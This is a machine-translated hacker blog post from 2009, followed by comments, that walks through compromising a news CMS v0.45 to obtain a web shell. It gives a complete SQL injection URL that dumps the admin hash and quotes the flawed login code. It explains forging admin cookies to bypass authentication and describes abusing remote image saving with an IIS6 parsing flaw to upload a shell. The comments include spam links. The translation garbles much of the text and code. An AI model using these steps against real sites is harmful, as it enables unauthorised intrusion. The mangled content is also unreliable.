На кипене новини система v0.45 Вземете Shell-IIS6 разбор уязвимости News.asp, варене, варене на системата за новини, инжектиране на дистанционното, за да запишете картина,-st0p блог

Кипяща системата за новини v0.45 да получите SHELL

Този пост беше публикуван на 25 септември 2009

: St0p
Възпроизведен моля, посочете източника: http://www.st0p.org

Забележка: за да напомни на администратора на станция цел да запълни дупката.

Вижте група, където няма материал, изпратен на станция, отворете изглеждаше като да се вари на Система за новини, но писмената версия е V0.1, Интернет не са намерили подходящата версия, има две версии на 1.1 и 0.45, не забравяйте инжектира News.asp съществува наистина, но тъй като на различните версии, така че областта новини маса, всички твърдения са малко по-различно.

След опит на st0p, гара дестинация трябва да бъде 0,45 на името на основния потребител и парола за на HASH успех чрез следното изявление, аз се опитах 27 области успех. .

А

  http://st0p.org/News.asp?click=1&shu=20% 201% 20as% 20NewsID, потребителско име% 20as 20title%, 3% 20as 20updatetime%, ако съществува% 20as% 20click, 5,6,7,8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27% 20from% 20admin 20% 20order% 20by% 202% 20desc% 20union% 20top% 20select 202

Вижте, ние не се получи потребителско име xcb парола c95ca278a74775f8, и след това отидох да се справи MD5, депресирани, намиране, не може да се счупят, не влизат в фон да излезе. . .
Тогава аз проверих 0,45 версия на кода и е установено участие в администратор / chkuser.asp, утвърждава за влизане на потребителя, ние гледаме кода

  <%
 Request . cookies ( "KEY" ) = "super" or Request . cookies ( "KEY" ) = "check" or Request . cookies ( "KEY" ) = "typemaster" or Request . cookies ( "KEY" ) = "bigmaster" or Request . cookies ( "KEY" ) = "smallmaster" or Request . cookies ( "KEY" ) = "selfreg" ) THEN Ако не (Request. Cookies ("ключ") = "супер" или заявка. Cookies ("ключ") = "проверка" или искането. Cookies ("ключ") = "typemaster на" Запитване бисквитки ("ключ") bigmaster "Запитване" бисквитки "(" ключ ") =" smallmaster "или заявка." бисквитки "(" ключ ") =" selfreg ") След това
 "Първо открие ключа в бисквитките, ако не за горните стойности, автоматично се обръщат към целевата страница
 "login.asp" отговора пренасочи "login.asp"
 отговор. края
 Крайна сметка, ако
 server . createobject ( "adodb.recordset" ) набор Урс = сървър. CreateObject ("adodb.recordset")
 & Request. cookies ( "username" ) & "'" SQL = "Изберете * от администратор, където потребителско име =" & Искане. "бисквитки" ("потребителско име") & "" "
 "Заявки бисквитки потребителско име е дали потребител с администраторски права
 , 3 Урс. отворен SQL, Кон, 1, 3
 urs. eof then ако Урс на ОКП или Урс. EOF тогава
 "login.asp" отговора пренасочи "login.asp"
 отговор. края
 крайна сметка, ако
 ( "passwd" ) <> urs ( "passwd" ) THEN Ако искането. Cookies ("ако съществува") <> Урс ("ако съществува"), тогава
 "Ако потребителят ако съществува опит в областта в измама" бисквитките ", ако на потребителя парола хашиш различни волана
 "login.asp" отговора пренасочи "login.asp"
 отговор. края
 Крайна сметка, ако
 Урс. близо
 nothing настроите Урс = нищо
 %>

Хей, наистина добър късмет, въпреки че е невъзможно да разбие паролата на хеш, но можете да го използвате, за да осъществи измамата. Погледнете в използването на процеса. .
Ние използват домейна отворен http://st0p.org/admin/index.asp, когато той ще отиде при login.asp

И тогава ние изтриете бисквитките reglevel;; fullname компетентности; ключ; част потребителско име, след това да добавите потребителско име = xcb; Ключ = супер, ако съществува = c95ca278a74775f8, потребителско име и парола замяна, ключът могат пряко да се използва супер.
Обръщаме внимание към промените

И след това да промените URL е променен http://st0p.org/admin/index.asp точка връзка

Успешно влизане на заден план, хей, ние директно да споменава вдясно от нея, тази система има една функция, за да запазите на дистанционно картина, ние използваме да дойде и да събират SHELL Първо, да добавите членове, и след това Plug-в картина редактор, адрес на нашия сървър кон, вмъкнете, изберете запазване на отдалечен изображения. И след това подадете

Тогава ние се нуждаем само достъп до добавяне на добра статия, копирайте картината на вътрешната адрес. Сървъра на целевата станция е IIS6 предходната алинея не се съобщава разбор уязвимости, просто използвайте, хехе.
Ние сега имаме думата на понито, и защо аз не казвам. . .
Въпреки това, разрешенията на целевата станция е доста BT, само за зареждане на директорията с права за запис, но също не могат да бъдат изтрити. . Бавно няма право да я първия запис за. . .

Научете · бойни изкуства Кодове

157 коментара към "варене на системата за новини v0.45, за да получите черупката

От Minghacker на 26 септември, 2009 | Отговор
Даниел st0p ~ ~ ~ ~ поклонение
От icysun на 26 септември, 2009 | Отговор
Не системата ...
Облигации на околната среда Ya този свят ..
st0p Отговор:
Септември 26th, 2009 в 24:21
Вие казвате, аз правя това?
Кипене и 0,45 на системата за новини,
icysun Отговор:
Септември 26th, 2009 в 24:30
Да
От b00lean на 28 септември, 2009 | Отговор
st0p едър рогат добитък, които не са нашето училище, как да не ходят
С jshfuitg Ное 25, 2009 | Отговор
dCATec qhuvtpiheyue [URL = http://ggwyligshlfd.com/ ggwyligshlfd [/ URL], [линк = http://nxjhtastnpxn.com/] nxjhtastnpxn [/ линк], http://kwxzxruczflr.com/
С adkpaxv на 27 ноември 2009 | Отговор
T9v9E0 oihbhcyxrstd [URL = http://ztggdtdbkkjc.com/ ztggdtdbkkjc [/ URL], [линк = http://haboolnldgjd.com/] haboolnldgjd [/ линк], http://zsjtcxcsvmjj.com/
От Seengart на Дек 14, 2009 | Отговор
нали .. ви благодаря за този мисли )
От FarmerLupe33 на 4 ноември, 2011 | Отговор
Заемите , изглежда, да бъде полезна за хора, които желаят да започнат свой собствен кариера. като факт, че не е трудно да получат търговски заем.